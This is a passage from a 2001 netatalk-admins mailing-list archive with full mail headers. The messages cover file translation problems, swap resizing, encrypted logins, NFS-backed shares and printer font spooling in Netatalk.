> If you could help at all with this problem, or refer me to
> someone/someplace that could help I would be very appreciative.
>
> Thank You,
> Adam Gothard
> Tag Team Productions

-------------------------------------------------------



From netatalk.administrators-errors@umich.edu  Sat Jan  6 17:07:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05694
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 17:07:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA24083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 17:07:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA24060
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 17:07:20 -0500 (EST)
Received: from cmsu2.cmsu.edu (cmsu2.cmsu.edu [153.91.210.103])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA24022
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 17:07:19 -0500 (EST)
Received: from [153.91.210.74] ([153.91.210.74])
	by cmsu2.cmsu.edu (8.9.3/8.9.3) with ESMTP id QAA03703
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 16:06:08 -0600
Mime-Version: 1.0
X-Sender: bjb8379@cmsu2.cmsu.edu (Unverified)
Message-Id: <a05010409b67d471eedc7@[153.91.210.74]>
Date: Sat, 6 Jan 2001 16:07:10 -0600
To: netatalk-admins@umich.edu
From: Barry Brimer <barry.brimer@bigfoot.com>
Subject: Netatalk / Split Horizon Routing
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello... does anyone know whether or not netatalk (particularly on 
Linux) has support for Split Horizon Routing .. and/or has anyone 
successfully used this?

Thanks..

Barry

From netatalk.administrators-errors@umich.edu  Sat Jan  6 18:40:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA07554
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 18:40:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA01458
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 18:40:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA01440
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 18:40:40 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA01398
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 18:40:39 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.03) id AC3B4C10011C; Sat, 06 Jan 2001 17:37:31 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Subject: Linux ?
Date: Sat, 6 Jan 2001 17:41:45 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOOECHDJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <a05010409b67d471eedc7@[153.91.210.74]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This question is actually something of a system nature.  I need to resize my
swap partition.  I cannot do it in RH 6.1 or 6.2 without the deleted space
being incorporated back into the extended partition of say the /home
parition.  I got it to work on RH 6.0 just fine.  What I want to know is how
can I go about resizing this partition without messing the system up
completely.  Can I resize it on the fly or do I need to unmount it and go?

Thanks to all in advance.

Heath


From netatalk.administrators-errors@umich.edu  Sat Jan  6 21:30:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA10510
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 21:30:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA25906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 21:30:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA25890
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 21:30:51 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA25841
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 21:30:49 -0500 (EST)
Received: from n245-27.berlin.snafu.de ([195.21.245.27] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14F5bb-00043h-00
	for netatalk-admins@umich.edu; Sun, 07 Jan 2001 03:30:47 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA25780
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 03:23:41 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Fwd: Re: HELP!!! Need to undo file translation - I think
Date: Sun, 7 Jan 2001 03:01:48 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <01010611175200.01084@Server>
In-Reply-To: <01010611175200.01084@Server>
MIME-Version: 1.0
Message-Id: <01010703234101.21116@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA10510

On Sat, 06 Jan 2001, Adam Gothard wrote:
> netatalk@umich.edu if for reporting bugs. Try sending your message to
> netatalk-admins@umich.edu.
> 
> > From:    Adam Gothard <Adam@Gothard.com>
> > To:      netatalk@umich.edu
> >
> > Hello!  I am hoping that you might be able to help me with a severe problem
> > I
> 
> -
> 
> > have come across with Netatalk for Linux.  I have successfully installed
> > Netatalk on Linux (Slackware dist.) for our server at work.  We recently
> > sent
> 
> -
> 
> > some files from some Mac G4s to the shared folder.  Then I wrote those
> > files to a CD.  However, now we have noticed that some of the files have
> > some problems... especially and most importantly, our PageMaker files can't
> > be read by PageMaker on the Macs.  I know almost nothing about Netatalk, so
> > my guess was that when the files were transfered over to the server, a
> > CR-LF translation was done on the PageMaker file which messed the whole
> > thing up. I tried to use the fromdos command on the file, but had no
> > success.  Is there
> 
> -
> 
> > anything we can do to restore these files?  It is EXTREMELY important to be
> > able to read these PageMaker files, as the originals on the macs have
> > already
> 
> -
> 
> > been erased. (ooops).
> >
> > If you could help at all with this problem, or refer me to
> > someone/someplace that could help I would be very appreciative.
> >
> > Thank You,
> > Adam Gothard
> > Tag Team Productions
> 
> -------------------------------------------------------

I don“t know if CR and LF are swapped by netatalk when translated.

If so a
	tr '\n\r' '\r\n' < messed-up-file > temp-file ; mv -f temp-file messed-up-file
for the data fork (not those in the .AppleDouble dirs) will do it.

But if netatalk just either translates all CRs to LFs or LFs to CRs you will have no chance.

It leaves an open question: why have these files been translated at all?
Should be no TEXT files.

Kind regards, good luck

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Jan  7 00:20:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA13833
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 00:20:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA10203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 00:20:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA10176
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 00:20:06 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA10131
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 00:20:05 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.03) id ABBD7E400DA; Sat, 06 Jan 2001 23:16:45 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Cc: "Appletalk on Linux" <LINUX-ATALK@NETSPACE.ORG>
Subject: PAM or Encrypted Password support ?
Date: Sat, 6 Jan 2001 23:20:59 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOAECKDJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <01010703234101.21116@athlet>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

I am installing some new netatalk systems.  I have never before had a need
for anything other than plain text support for my passwords, but now I am
getting into some areas where I need more security.  How do I turn on
Two-way encrypted passwords or whatever to disable plain text support either
by initial rpm install of netatalk-1.4b2+2.1.3-7.rpm or after it has already
been installed?  I want to be able to switch off plain text logins for the
more secure logins.

Thanks in advance.

Heath Henderson


From netatalk.administrators-errors@umich.edu  Sun Jan  7 09:00:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24008
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 09:00:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA23938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 09:00:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA23923
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 09:00:13 -0500 (EST)
Received: from mail0.dns-net.de (mail0.dns-net.de [212.91.230.131])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA23853
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 09:00:11 -0500 (EST)
From: seb@freitag.ch
Received: from vaio (really [62.155.218.15]) by mail0.dns-net.de
	via smail with esmtp
	id <m14FGKC-00QPDKC@mail0.dns-net.de> (Debian Smail3.2.0.111)
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 14:57:32 +0100 (CET) 
Message-ID: <001101c078b2$45adbe20$4d01a8c0@lan.freitag.ch>
Reply-To: <seb@freitag.ch>
To: "Heath Henderson" <heath@dave-world.net>
Cc: <netatalk-admins@umich.edu>
References: <NDBBLIPGCLLELIOOICKOAECKDJAA.heath@dave-world.net>
Subject: Re: PAM or Encrypted Password support ?
Date: Sun, 7 Jan 2001 15:00:30 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

http://netatalk.sourceforge.net/faq.php#2.6

sebastian
----- Original Message -----
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Cc: "Appletalk on Linux" <LINUX-ATALK@NETSPACE.ORG>
Sent: Sunday, January 07, 2001 6:20 AM
Subject: PAM or Encrypted Password support ?


> I am installing some new netatalk systems.  I have never before had a need
> for anything other than plain text support for my passwords, but now I am
> getting into some areas where I need more security.  How do I turn on
> Two-way encrypted passwords or whatever to disable plain text support
either
> by initial rpm install of netatalk-1.4b2+2.1.3-7.rpm or after it has
already
> been installed?  I want to be able to switch off plain text logins for the
> more secure logins.
>
> Thanks in advance.
>
> Heath Henderson
>


From netatalk.administrators-errors@umich.edu  Sun Jan  7 11:37:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA27166
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 11:37:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16969
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 11:37:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16955
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 11:37:27 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA16919
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 11:37:26 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.03) id AA8A151E0152; Sun, 07 Jan 2001 10:34:18 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: "Netatalk Admins" <netatalk-admins@umich.edu>
Cc: "Appletalk Netatalk group" <linux-atalk@netspace.org>
Subject: Kerberos Support
Date: Sun, 7 Jan 2001 10:38:34 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOAECLDJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <001101c078b2$45adbe20$4d01a8c0@lan.freitag.ch>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Kauthman Support

How do I get this to work under OS 9.  I have it installed, but it still
seems like it is not authenticating correctly.

Heath Henderson

-----Original Message-----
From: seb@freitag.ch [mailto:seb@freitag.ch]
Sent: Sunday, January 07, 2001 8:01 AM
To: Heath Henderson
Cc: netatalk-admins@umich.edu
Subject: Re: PAM or Encrypted Password support ?


http://netatalk.sourceforge.net/faq.php#2.6

sebastian
----- Original Message -----
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Cc: "Appletalk on Linux" <LINUX-ATALK@NETSPACE.ORG>
Sent: Sunday, January 07, 2001 6:20 AM
Subject: PAM or Encrypted Password support ?


> I am installing some new netatalk systems.  I have never before had a need
> for anything other than plain text support for my passwords, but now I am
> getting into some areas where I need more security.  How do I turn on
> Two-way encrypted passwords or whatever to disable plain text support
either
> by initial rpm install of netatalk-1.4b2+2.1.3-7.rpm or after it has
already
> been installed?  I want to be able to switch off plain text logins for the
> more secure logins.
>
> Thanks in advance.
>
> Heath Henderson
>



From netatalk.administrators-errors@umich.edu  Sun Jan  7 14:01:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA00139
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 14:01:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA26644
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 14:01:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA26615
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 14:01:24 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA26573
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 14:01:23 -0500 (EST)
Received: (qmail 23847 invoked by alias); 7 Jan 2001 19:01:42 -0000
Received: (qmail 23836 invoked by uid 0); 7 Jan 2001 19:01:42 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 7 Jan 2001 19:01:42 -0000
Message-ID: <3A58BE22.B08527@potsdam.edu>
Date: Sun, 07 Jan 2001 14:06:10 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Heath Henderson <heath@dave-world.net>
CC: netatalk-admins@umich.edu
Subject: Re: Linux ?
References: <NDBBLIPGCLLELIOOICKOOECHDJAA.heath@dave-world.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Heath Henderson wrote:
> 
> This question is actually something of a system nature.  I need to resize my
> swap partition.  I cannot do it in RH 6.1 or 6.2 without the deleted space
> being incorporated back into the extended partition of say the /home
> parition.  I got it to work on RH 6.0 just fine.  What I want to know is how
> can I go about resizing this partition without messing the system up
> completely.  Can I resize it on the fly or do I need to unmount it and go?

	Use LVM in the new 2.4.0 kernel. It's wonderful.


-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Sun Jan  7 17:27:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05088
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 17:27:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA26048
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 17:27:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA26020
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 17:27:18 -0500 (EST)
Received: from ans.odi.ca (h24-71-207-132.cg.shawcable.net [24.71.207.132])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA25966
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 17:27:16 -0500 (EST)
Received: from [192.168.1.10] (buzzsaw.internal.froese.org [192.168.1.10])
	by ans.odi.ca (Postfix) with ESMTP id D95944DEE
	for <netatalk-admins@umich.edu>; Sun,  7 Jan 2001 15:27:13 -0700 (MST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 07 Jan 2001 15:27:13 -0700
Subject: Netatalk and NFS
From: Darron Froese <darron@froese.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B67E3B51.2B13%darron@froese.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Does anyone share folders with Netatalk that are actually NFS mounts from
another machine?

Here's my setup:

Linux 2.2.17 NFS --->  Linux 2.2.16 Netatalk ---> Mac OS Clients

My Netatalk server (running 1.5pre3) only has a 4GB drive (and is only
expandable using SCSI-2 drives that are mucho $$$ in price) while my NFS
server has a 46GB IDE drive. I would like to use that 46GB drive
transparently from the one netatalk server.

I've mounted a few directories on my Netatalk server from the NFS server:

[darron@computer darron]$ df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda3             242M  146M   83M  64% /
/dev/sda8             1.3G  387M  845M  31% /home
/dev/sda5             145M  7.0k  138M   0% /tmp
/dev/sda7             1.6G  1.3G  230M  85% /usr
/dev/sda4             218M  104M  102M  50% /var
/dev/sda6             290M  136M  139M  50% /web
server:/home/darron/MP3
                       40G  7.1G   31G  19% /home/darron/mp3
server:/home/darron/archives
                       40G  7.1G   31G  19% /home/darron/archives
server:/home/darron/backup
                       40G  7.1G   31G  19% /home/darron/backup

I have no problems working with these files in the NFS mounted directories
when I'm logged in to the shell or remotely via FTP and HTTP.

I cannot copy/write to those NFS mounted directories via Netatalk - I get
errors:

"The item $Item cannot be read because it's in use."
"The item $item cannot be written because it's in use."

I can copy and write to directories that aren't NFS mounted just fine.

Anyone have any ideas for me? Anyone already doing this?

Would it be a workaround to smbmount those directories?
-- 
Darron
darron@froese.org


From netatalk.administrators-errors@umich.edu  Sun Jan  7 21:15:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA09751
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 7 Jan 2001 21:15:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA07654
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 7 Jan 2001 21:15:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA07636
	for netatalk.administrators-members@umich.edu; Sun, 7 Jan 2001 21:15:22 -0500 (EST)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA07574
	for <netatalk-admins@umich.edu>; Sun, 7 Jan 2001 21:15:20 -0500 (EST)
Received: from [195.20.224.220] (helo=mrvdom04.kundenserver.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14FRq2-000464-00
	for netatalk-admins@umich.edu; Mon, 8 Jan 2001 03:15:10 +0100
Received: from p3e9ec6dc.dip0.t-ipconnect.de ([62.158.198.220])
	by mrvdom04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14FRq1-0004MX-00
	for netatalk-admins@umich.edu; Mon, 8 Jan 2001 03:15:10 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 08 Jan 2001 03:13:51 +0100
Subject: Re: Linux ?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B67ED29D.22F3C%ts@visual-s.de>
In-Reply-To: <3A58BE22.B08527@potsdam.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-01-07 20:06 +0100, Matthew Keller <kellermg@potsdam.edu> wrote:

> Use LVM in the new 2.4.0 kernel. It's wonderful.

The manual to SuSE 7.0 (kernel already supporting LVM) just says, don't
enable LVM unless you know exactly what you are doing  ...

Can you point to some related good readings at the internet?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Jan  8 09:18:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA25309
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 09:18:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20121
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 09:18:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20110
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 09:18:04 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA20059
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 09:18:01 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA25670
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 09:17:59 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA19871
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 09:17:59 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Mon, 8 Jan 2001 09:17:58 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: <netatalk-admins@umich.edu>
Subject: printer spooling...
Message-ID: <Pine.SOL.4.31.0101080910110.19532-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

Our lab has lots of Macs with a sun server running netatalk for file
sharing. We have 4 printers set up to accept print jobs directly from
the macs over apple-talk. We would like to move the printers onto the
net-atalk server to keep things centralized.

We put them in the papd file and it generally works fine, with the
exception of a few computers. One running OS 8.1 and one running OSX
(current beta). We think the problem might have something to do with the
print jobs needing extra fonts.

Here's a question: How does the spooling process deal with downloading
fonts to the printer? (I.e. the fonts are on the client computer, the
printer finds out when it gets the document from the server that it
needs a couple extra fonts from the client computer, but now its getting
its info from a spool file on the server, rather than from the client
computer.

Any pointers would be appreciated.

Thanks.

***************************** **************************************
*Rick Goldberg              * *                                    *
*Graduate Student           * * "I never wanted to be average,     *
*Computer Science Dept      * *   because when you are average you *
*York University            * *   are just as far from the top as  *
*Toronto, Canada            * *   you are from the bottom."        *
*rickg@yorku.ca             * *              -Stan Cottrell-       *
*www.cs.yorku.ca/~rickg     * *                                    *
***************************** **************************************
     "If you don't invest very much, the defeat doesn't hurt,
             But winning isn't very exciting."



From netatalk.administrators-errors@umich.edu  Mon Jan  8 10:20:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27337
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 10:20:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 10:20:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17913
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 10:20:28 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA17857
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 10:20:27 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id HAA14928;
	Mon, 8 Jan 2001 07:20:22 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Mon, 8 Jan 2001 07:20:22 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Richard Goldberg <rickg@yorku.ca>
cc: <netatalk-admins@umich.edu>
Subject: Re: printer spooling...
In-Reply-To: <Pine.SOL.4.31.0101080910110.19532-100000@sunlight.ccs.yorku.ca>
Message-ID: <Pine.LNX.4.30.0101080716090.9341-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Jan 2001, Richard Goldberg wrote:

> Hi all,
>
> Our lab has lots of Macs with a sun server running netatalk for file
> sharing. We have 4 printers set up to accept print jobs directly from
> the macs over apple-talk. We would like to move the printers onto the
> net-atalk server to keep things centralized.
>
> We put them in the papd file and it generally works fine, with the
> exception of a few computers. One running OS 8.1 and one running OSX
> (current beta). We think the problem might have something to do with the
> print jobs needing extra fonts.
>
> Here's a question: How does the spooling process deal with downloading
> fonts to the printer? (I.e. the fonts are on the client computer, the
> printer finds out when it gets the document from the server that it
> needs a couple extra fonts from the client computer, but now its getting
> its info from a spool file on the server, rather than from the client
> computer.

Unfortunately, the print spooler is not as smart as one would hope.  :)
